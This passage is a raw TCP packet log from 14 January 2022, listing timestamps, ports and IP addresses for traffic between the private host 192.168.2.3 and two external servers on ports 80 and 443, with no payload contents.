Jan 14, 2022 01:51:44.867085934 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.867100954 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.867126942 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.867166996 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.867191076 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.867206097 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.867221117 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.867249012 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.867289066 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.867330074 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.867342949 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.867369890 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.867383003 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.867408991 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.867448092 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.867486954 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.867503881 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.867525101 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.867537022 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.867563963 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.867604017 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.867644072 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.867659092 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.867686987 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.867692947 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.867724895 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.867764950 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.867803097 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.867819071 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.867841005 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.867852926 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.867881060 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.867919922 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.867959976 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868000031 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868036985 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868038893 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.868076086 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868088961 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.868114948 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868153095 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868169069 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.868194103 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868232965 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868290901 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868298054 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.868338108 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868340015 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.868376970 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868416071 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868454933 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868467093 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.868495941 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868503094 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.868541956 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868581057 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868621111 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868633032 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.868669033 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.868669987 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868709087 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868746996 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868755102 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.868787050 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868824005 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868849993 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.868863106 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868901968 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868931055 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.868941069 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.868982077 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.869018078 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.869019032 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.869060040 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.869071960 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.869101048 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.869138002 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.869158983 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.869177103 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.869215965 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.869244099 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.869256973 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.869297981 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.869318008 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.869337082 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.869375944 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.869395971 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.869415045 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.869452000 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.869491100 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.869508028 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.869529963 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.869544029 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.869570017 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.869609118 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.869661093 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.869687080 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.869725943 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.869764090 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.869767904 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.869806051 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.869817019 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.869846106 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.869921923 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.869927883 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.869967937 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.870004892 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.870045900 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.870048046 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.870085001 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.870100975 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.870125055 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.870165110 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.870179892 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.870203018 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.870243073 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.870281935 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.870315075 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.870321989 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.870342016 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.870362043 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.870399952 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.870439053 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.870455027 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.870486975 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.870752096 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.870790958 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.871608019 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.900753975 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.903462887 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:44.929871082 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.930485010 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.930527925 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.930565119 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.930596113 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.930604935 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.930644989 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.930684090 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.930699110 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.930723906 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.930759907 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.930779934 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.930799007 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.930813074 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.930839062 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.932079077 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.943865061 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.943916082 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.943953991 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.943994045 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.943996906 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.944034100 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944036961 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.944072962 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944112062 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944144964 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.944149971 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944188118 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944199085 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.944227934 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944266081 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944304943 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944319010 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.944348097 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944351912 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.944386005 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944431067 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944469929 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944483042 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.944509029 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944520950 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.944549084 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944587946 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944626093 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944648981 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.944668055 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944679976 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.944705963 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944745064 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944782972 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944797039 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.944820881 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944833040 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.944861889 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944900036 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944938898 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944961071 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.944978952 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.944991112 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.945018053 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.945056915 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.945096970 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.945107937 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.945135117 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.945142984 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.945175886 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.945214987 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.945254087 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.945266008 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.945301056 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.945303917 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.945343018 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.945382118 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.945394039 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.945421934 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.945460081 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.945498943 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.945512056 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.945538998 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.945544958 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.945576906 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.945616007 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.945655107 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.945667982 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.945694923 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.945702076 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.945738077 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.945775032 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.945813894 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.945826054 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.945858002 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.945883036 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.945935965 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.945972919 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.946014881 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.946029902 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.946058035 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.946073055 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.946114063 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.946161985 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.946201086 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.946213961 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.946240902 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.946244001 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.946291924 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.946331024 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.946371078 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.946384907 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.946419001 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.946419001 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.946459055 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.946497917 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.946537971 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.946549892 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.946577072 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.946579933 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.946616888 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.946654081 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.946692944 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.946706057 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.946732998 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.946737051 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.946769953 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.946809053 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.946846962 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.946860075 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.946886063 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.946891069 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.946926117 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.946964025 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.947001934 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.947029114 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.947040081 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.947063923 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.947077990 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.947117090 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.947154999 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.947175026 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.947196007 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.947207928 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.947236061 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.947273970 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.947314024 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.947328091 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.947355032 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.947387934 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.947391987 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.947431087 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.947436094 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.947468996 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.947509050 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.947549105 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.947567940 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.947597027 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.004549980 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.004600048 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.004632950 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.004666090 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.004703045 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.004704952 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.004724979 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.004745960 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.004787922 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.004826069 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.004842997 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.004865885 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.004879951 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.004905939 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.004945040 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.004960060 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.004985094 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.005023003 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.005063057 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.005076885 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.005104065 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.005146027 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.005158901 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.005362034 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.005661011 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.005702972 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.005743980 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.005765915 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.021048069 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021074057 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021097898 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021120071 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021142960 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021166086 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021164894 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.021188021 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021198988 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.021210909 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.021213055 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021238089 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021259069 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.021260977 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021284103 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021306992 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021318913 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.021332026 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021356106 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021378994 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021389008 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.021403074 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021414995 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.021426916 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021444082 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.021450996 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021472931 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021495104 CET	80	49856	141.8.194.74	192.168.2.3
